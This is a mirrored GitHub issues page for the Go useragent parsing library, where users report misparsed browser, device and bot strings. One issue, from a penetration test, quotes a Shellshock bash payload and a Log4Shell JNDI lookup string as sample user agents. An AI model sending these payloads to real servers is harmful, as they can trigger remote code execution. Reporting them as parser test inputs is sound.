Giter Site home page Giter Site logo

useragent's People

Contributors

alexsuh7 avatar antoinegoutagny avatar jfyne avatar matjam avatar mileusna avatar pringlepot avatar sylr avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

useragent's Issues

User agent names are weird for Penetration Tests

Hello,
we were doing some pen test and we use this to parse user agent, unfortunately for below user agents the code is not behaving as it is supposed to and giving incoherent names, we want the name to be Blank or something else to understand wrong user agent.

Sample UserAgents:

() { ignored; }; echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6271_rce Output : $((70+91))"

${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}

And this also fails bot check and claims it as not a bot

Add Samsung Browser to be recognised as Android device

I have an issue with detecting mobile devices using isAndroid because SamsungBrowser is not recognised as mobile device:

package main

import (
	"fmt"

	useragentent "github.com/mileusna/useragent"
)

func main() {
	ua := useragentent.Parse("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/22.0 Chrome/111.0.5563.116 Safari/537.36")
	fmt.Println(ua.IsAndroid())
}

This one gives me false and expected one would be true.

Device information:

Galaxy Tab A8
Model number: SM-X200

Miss detection on lowercase useragents.

I've noticed that if you force a user agent to lowercase, the parser is no longer able to properly detect the browser. I'm not sure if this is because case sensitivity is required to properly parse a user agent, or if its an over site/bug. I can easily work around this by not forcing to lowercase before parsing, but figured I should let you know of the issue.

thanks

I think It works better than the most stars one,it have more useful fields for user-agent, thanks for the author!

Support for Flutter IOS User Agents

Hi,
When flutter is used as the frontend for mobile apps, the User agent patterns in IOS sometimes come in this pattern:
CFNetwork/1404.0.5 Darwin/22.3.0 (iPhone iOS/16.3.1)
This is not being supported properly, the response is:

{
        "VersionNo": {
                "Major": 1404,
                "Minor": 0,
                "Patch": 5
        },
        "OSVersionNo": {
                "Major": 0,
                "Minor": 0,
                "Patch": 0
        },
        "URL": "",
        "String": "CFNetwork/1404.0.5 Darwin/22.3.0 (iPhone iOS/16.3.1)",
        "Name": "CFNetwork",
        "Version": "1404.0.5",
        "OS": "",
        "OSVersion": "",
        "Device": "",
        "Mobile": false,
        "Tablet": false,
        "Desktop": false,
        "Bot": false
}

HeadlessChrome version parsing error

Use the code from the readme

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/97.0.4691.0 Safari/537.36

Name: Safari v 537.36
OS: Linux v x86_64
Device:
(Desktop)

Google Ads crawlers not marked as bots

I noticed that crawlers for google ads having Mediapartners-Google in ther user agent are not properly marked as bots. For example, in my logs I have this user agent:

Mozilla/5.0 (Linux; Android 4.0.0; Galaxy Nexus Build/IMM76B) AppleWebKit/537.36 (KHTML, like Gecko; Mediapartners-Google) Chrome/104.0.0.0 Mobile Safari/537.36

Looking through the reference, it appears there are a number of other google crawlers that will not be marked as bots.

SmartTV UserAgent not parsed

Hi,

for example Mozilla/5.0 (SMART-TV; LINUX; Tizen 6.5) AppleWebKit/537.36 (KHTML, like Gecko) 85.0.4183.93/6.5 TV Safari/537.36 is not parsed yet.

safari desktop considered as mobile

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15" is considered as mobile, but it is desktop

Application User Agent detection

I'm not quite sure where this fits in, but currently Seafiles UA is classified as desktop, which in some cases leads to really skewed metrics for me.
Is there a policy regarding such application user agents, should they be considered bots? Or is classifying them as desktop/mobile intended behaviour?

mobiele user being detected as Desktop

I tried with the following user-agent, and it detected as desktop:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/79.0.3945.147 Safari/534.24 XiaoMi/MiuiBrowser/12.11.5-gn

If possible, I'll try to make the changes this weekend and send a PR, if not, I'm just registering this User-agent for future improvement.

Thanks a lot

HeyTapBrowser is not recognized. thanks a lot.

Mozilla/5.0 (X11; Windows) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.61 Safari/537.36 HeyTapBrowser/40.8.26.1 Name:HeyTapBrowser
This useragent string is not classified in your top golang user agent analyzer.

wrong parsing of user agents behind gcp proxy

thanks for the lib. This is probably a NIT and a low priority. Just putting it here in case it turns out to be more important that I think.

Accessing a resource hosted on gcp through the gcp proxy makes the library completely miss the browser name:

expected result
https://uaparser.js.org/?ua=cloud-run-proxy/source%20(darwin/arm64)%20Mozilla/5.0%20(Macintosh;%20Intel%20Mac%20OS%20X%2010_15_7)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/120.0.0.0%20Safari/537.36#try

{
  "ua": "cloud-run-proxy/source (darwin/arm64) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "browser": {
    "name": "Chrome",
    "version": "120.0.0.0",
    "major": "120"
  },
  "cpu": {
    "architecture": "arm64"
  },
  "device": {
    "model": "Macintosh",
    "vendor": "Apple"
  },
  "engine": {
    "name": "Blink",
    "version": "120.0.0.0"
  },
  "os": {
    "name": "macOS",
    "version": "10.15.7"
  }
}

instead got

{
 VersionNo:{Major:0 Minor:0 Patch:0}
 OSVersionNo:{Major:10 Minor:15 Patch:7}
 URL: String:cloud-run-proxy/source (darwin/arm64) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 
 Name:cloud-run-proxy
 Version:source
 OS:macOS
 OSVersion:10.15.7
 Device:
 Mobile:false
 Tablet:false
 Desktop:true
 Bot:false
 }
package main

import (
	"fmt"

	"github.com/mileusna/useragent"
)

func main() {
	ua := `cloud-run-proxy/source (darwin/arm64) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36`

	u := useragent.Parse(ua)

	fmt.Printf("%+v\n", u)

}

Does not detect Android device name in Chrome

Chrome sends this: "Mozilla/5.0 (Linux; Android 11; Pixel 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.115 Mobile Safari/537.36"

Where Pixel 4 is the device name.

Please add support.

bytedance bot is not cannot be identified

User Agent : Mozilla/5.0 (compatible; Bytespider; [email protected]) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Version : v1.3.4

String Mozilla/5.0 (compatible; Bytespider; [email protected]) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Name Chrome
Version 70.0.0.0
OS  
OSVersion  
Device  
Mobile false
Tablet false
Desktop false
Bot false

using online web test: https://ip360.me/ua/?ua=Mozilla/5.0%20(compatible;%20Bytespider;%[email protected])%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/70.0.0.0%20Safari/537.36

Some user agents are not correctly detected

Hello,

We are trying some user agents, and comparing it with this gopackage and https://udger.com/resources/online-parser we find the following differences:

UA String: SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0
golang: SonyEricssonK310iv, SonyEricssonK310iv, Desktop (Browser, OS, Device are incorrect)
udger: Net Front 3.3, JVM, SmartPhone udger link

UA String: Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)
golang: Konqueror, Konqueror, Desktop (OS is incorrect)
udger: Konqueror, FreeBSD, Desktop udger link

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.